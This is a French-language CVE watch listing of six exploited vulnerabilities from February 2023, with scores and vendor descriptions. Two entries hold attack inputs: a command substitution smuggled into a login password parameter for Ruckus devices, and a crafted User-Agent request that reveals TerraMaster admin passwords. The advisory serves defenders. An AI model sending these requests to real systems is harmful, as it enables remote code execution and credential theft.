Veille CVE

Février 2023

6 CVE

Critique 2 Élevée 3 Moyenne 1 Faible 0 Non évaluée 0 Exploitées (KEV) Tri : plus récentes
  1. CVE-2022-47986 9.8 Critique Exploitée Rançongiciel

    IBM Aspera Faspex

    IBM Aspera Faspex 4.4.2 Patch Level 1 and earlier could allow a remote attacker to execute arbitrary code on the system, caused by a YAML deserialization flaw. By sending a specially crafted obsolete API call, an attacker could exploit this vulnerability to execute arbitrary code on the system. The obsolete API call was removed in Faspex 4.4.2 PL2. IBM X-Force ID: 243512.

  2. CVE-2023-23752 5.3 Moyenne Exploitée

    Joomla! Project Joomla! CMS · joomla\! · Joomla joomla\!

    An issue was discovered in Joomla! 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints.

  3. CVE-2023-21823 7.8 Élevée Exploitée

    Microsoft Office for Android · Microsoft Office for iOS · Microsoft Office for Universal · Microsoft Windows 10 Version 1507

    Windows Graphics Component Remote Code Execution Vulnerability

  4. CVE-2023-23376 7.8 Élevée Exploitée Rançongiciel

    Microsoft Windows 10 Version 1507 · Microsoft Windows 10 Version 1607 · Microsoft Windows 10 Version 1809 · Microsoft Windows 10 Version 20H2

    Windows Common Log File System Driver Elevation of Privilege Vulnerability

  5. CVE-2023-25717 9.8 Critique Exploitée

    Ruckuswireless ruckus wireless admin · Ruckuswireless smartzone ap · Commscope ruckus smartzone firmware

    Ruckus Wireless Admin through 10.4 allows Remote Code Execution via an unauthenticated HTTP GET Request, as demonstrated by a /forms/doLogin?login_username=admin&password=password$(curl substring.

  6. CVE-2022-24990 7.5 Élevée Exploitée Rançongiciel

    Terra-master terramaster operating system

    TerraMaster NAS 4.2.29 and earlier allows remote attackers to discover the administrative password by sending "User-Agent: TNAS" to module/api.php?mobile/webNasIPS and then reading the PWD field in the response.